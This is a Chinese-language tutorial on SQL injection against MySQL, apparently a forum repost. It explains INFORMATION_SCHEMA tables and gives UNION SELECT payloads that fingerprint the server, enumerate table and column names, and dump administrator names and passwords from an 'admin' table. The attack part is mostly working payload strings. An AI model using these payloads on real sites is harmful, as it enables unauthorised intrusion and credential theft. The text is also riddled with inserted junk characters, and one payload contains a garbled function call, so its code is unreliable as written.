本文介绍MYSQL盲注的一些语句和方法2 P- B- q t- |5 F, u1 b0 K, e& R
: l* g7 l9 J* j" B, {学习盲注前先了解下 IFORMATION_SCHEMA 库+ M4 e, U: ?7 ~
8 n4 e% ^+ V5 W
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有. N$ @ e8 E9 W+ A |) C3 |6 Q6 e
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。8 \8 E4 l2 M) u: B" \4 T
1.得到所有数据库名:/ V$ u7 w) L0 W/ e. B$ j) h1 `
|SCHEMATA ->存储数据库名的表 U" G$ k1 Y3 U9 ]0 |* B
|---字段:SCHEMA_NAME ->数据库名称
; P" c3 P$ S$ i- K( Y% u* o& R D) K
|TABLES ->存储表名
1 b/ L) l X# _0 R: U- [( n M|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名% a: ^: y! Y. H- ^5 S! C
|---字段:TABLE_NAME ->存储表的表名
/ n. b8 n" P/ k" B8 b( @
% n9 B! n; P/ {|COLUMNS ->存储的字段名表! @0 s, Y u0 p1 {/ p* h
|---字段:TABLE_SCHEMA ->该字段所属数据库名
# B2 t7 A) \% F|---字段:TABLE_NAME ->存储所属表的名称. r( @( D8 ]$ R0 t$ ]- O
! V9 ^ J a- }+ P+ ||---字段:COLUMN_NAME ->该字段的名称
* K5 S# e7 w0 | G) Y$ M. W8 c! k( v' l9 h! W/ o8 s
) t# t7 W" k, g. _6 O1 z( d' p5 z) S3 o+ p3 _* [% j, T4 P
###########################################################################. B" q5 ?: D" W) P7 k
7 Z' r* I" t# U
0x001 获取系统信息:
7 r- p6 v4 X: b/ m/ @0 Y" y: F
& [% r# H3 G( Q2 W6 }" z* Funion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*: }" Q2 a4 @6 D% J8 b
! J8 D$ {* L' D. K
/*3 l* Y& {/ K5 l* @: f, \
! @+ H) y) M- E' l8 k; V
@@global.version_compile_os 获取系统版本, C Y: y/ r1 E: s n
u5 j% {+ [! u
@@datadir 数据库路径
% x" X* O2 \9 E7 G" Ddatabase() 当前数据库名称9 `" F s7 F- H! E* K6 A; _( {
0x3c62723e 换行HEX值
& p1 w2 e4 z* j
1 _( T2 B }7 o) D*/
* M2 t5 q# J& c' \$ e# N b# [) v' k* h+ u$ D
- K9 G X$ G: H' ]# P$ R
/ A, k' i" q8 m7 h4 y: C$ T! k# ^
######################################################################3 `0 I- Z8 @9 t% p" R {, N
# Y8 H' E$ z. Q) z; s/ @0x002 获取表名% Y- I- @" {1 b" `
5 M5 t! a$ ^) i8 Tunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*9 m) ^! V, Q5 g# b3 H
3 y4 U$ u0 ~' w& k. h( g
/ b% ]5 v' D) u" o5 l
" M. c# N4 ]( q6 [. b* y) T& V
/*5 Y+ D7 |: @- w8 z) h6 t
" A; S( ], H( X0x67617264656e 为当前数据库名. P% Z- `5 D8 A. F5 ]. ^% e4 }
* ^: F5 L1 x9 d- s
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
2 R6 R! p0 J+ L' h' r+ S0 \- ^' N3 s
*/; D& p+ V' Q3 d2 i3 O9 v9 u" g
5 }" z- F; g* N
######################################################################
: V" o$ v) E4 {# k9 H
% Y5 N0 Z4 t0 T# \ : s( C7 {! g0 v5 e' B( t
0 d/ Z% h# k$ i7 S0x003 获取字段
, X0 m( A/ ?; `2 g! I* Q9 S" G4 v. Y r w2 z! d
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
* \; P( f4 Y g1 B* R) n6 y* v5 q$ E+ a4 K+ K. `
/*
# t0 |( |+ t8 Y4 g1 z, x9 I4 i2 J" i4 o
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段6 ^0 k0 q) ?( |
; B/ W, K6 C4 d' J. @0x61646d696e ->选择一个表, l5 |2 y$ S, D/ @
. J1 w: c( Q, e4 t! _( e0x67617264656e ->数据库名
' \% g0 w/ _( l7 B: L% ]* f% ^! O' C+ l* b* P; E- b- U* J
*/# j9 Y, e$ c! J/ Q
, Q4 ^& p- \1 [3 K5 x- {
#####################################################################* R3 P) C) Q; L; p' D
; Y/ V1 j6 l" S3 U8 n* c
6 `0 a" k3 q4 Q6 }) o. Q" B* c5 S' e1 t" Q8 T3 |* u+ E
0x004 获取数据
* Y5 [, M' K2 t; N" |7 h; j( C/ \/ ^4 _" R7 {" {, [0 f
union select 1,2,3) l2 j; u5 s& B+ u
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin8 }: g& s3 \% H) ] C0 c7 J
+ {: _$ _6 u- p( r0 z" wunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin' T6 y" e( `/ w5 G3 p/ f" `6 ^6 n
, p0 Y- _/ o2 ^4 H0 \
: k+ Q- p4 M2 k, @/ T; G
# q9 V/ a# t3 n) |, O/*& u+ T- b( V" F. v/ z0 L( t2 s! d& q
/ D. l& E7 y; v }
0x3c62723e 换行符号HEX编码
. }6 B3 e& `$ y" ^4 G6 J
" w% P$ D' G! egroup_concat 同时获得该字段所有数据
6 O" l9 G. [# g) f; G" ^& n& n O
*/$ k% U( P9 C8 O& i, z; r, t2 s) S
7 F5 A" N! }" p" u- | |